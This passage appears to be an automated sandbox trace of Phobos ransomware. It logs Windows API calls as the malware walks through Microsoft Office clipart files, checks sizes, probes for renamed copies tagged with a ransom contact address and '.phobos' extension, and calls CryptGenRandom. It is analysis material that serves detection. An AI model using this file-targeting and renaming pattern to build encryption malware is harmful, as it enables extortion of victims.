files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.891] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1158) returned 1 [0149.891] CloseHandle (hObject=0x560) returned 1 [0149.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 0x220 [0149.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.892] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.892] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=792) returned 1 [0149.892] CloseHandle (hObject=0x560) returned 1 [0149.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 0x220 [0149.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.893] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.893] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.893] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1074) returned 1 [0149.893] CloseHandle (hObject=0x560) returned 1 [0149.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 0x220 [0149.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.894] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.895] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.895] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.897] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1848) returned 1 [0149.897] CloseHandle (hObject=0x560) returned 1 [0149.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 0x220 [0149.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.899] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.900] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=11190) returned 1 [0149.900] CloseHandle (hObject=0x560) returned 1 [0149.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 0x220 [0149.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.901] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.901] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.901] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.903] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1892) returned 1 [0149.903] CloseHandle (hObject=0x560) returned 1 [0149.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 0x220 [0149.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.905] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.905] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.905] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=696) returned 1 [0149.906] CloseHandle (hObject=0x560) returned 1 [0149.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 0x220 [0149.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.907] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.907] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.907] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1928) returned 1 [0149.908] CloseHandle (hObject=0x560) returned 1 [0149.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 0x220 [0149.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.909] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.909] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.911] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=9172) returned 1 [0149.911] CloseHandle (hObject=0x560) returned 1 [0149.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 0x220 [0149.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.913] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.913] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.916] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=12748) returned 1 [0149.916] CloseHandle (hObject=0x560) returned 1 [0149.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 0x220 [0149.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.917] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.119] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.120] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=13954) returned 1 [0150.120] CloseHandle (hObject=0x564) returned 1 [0150.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 0x220 [0150.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.120] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.121] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=9671) returned 1 [0150.121] CloseHandle (hObject=0x564) returned 1 [0150.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 0x220 [0150.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.122] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.124] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=26160) returned 1 [0150.124] CloseHandle (hObject=0x564) returned 1 [0150.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 0x220 [0150.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.125] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.125] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.125] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.126] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=27546) returned 1 [0150.126] CloseHandle (hObject=0x564) returned 1 [0150.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 0x220 [0150.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.126] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.127] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.127] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=15145) returned 1 [0150.127] CloseHandle (hObject=0x564) returned 1 [0150.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 0x220 [0150.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.131] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.131] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7154) returned 1 [0150.131] CloseHandle (hObject=0x564) returned 1 [0150.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 0x220 [0150.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.132] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.132] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=19656) returned 1 [0150.132] CloseHandle (hObject=0x564) returned 1 [0150.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 0x220 [0150.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 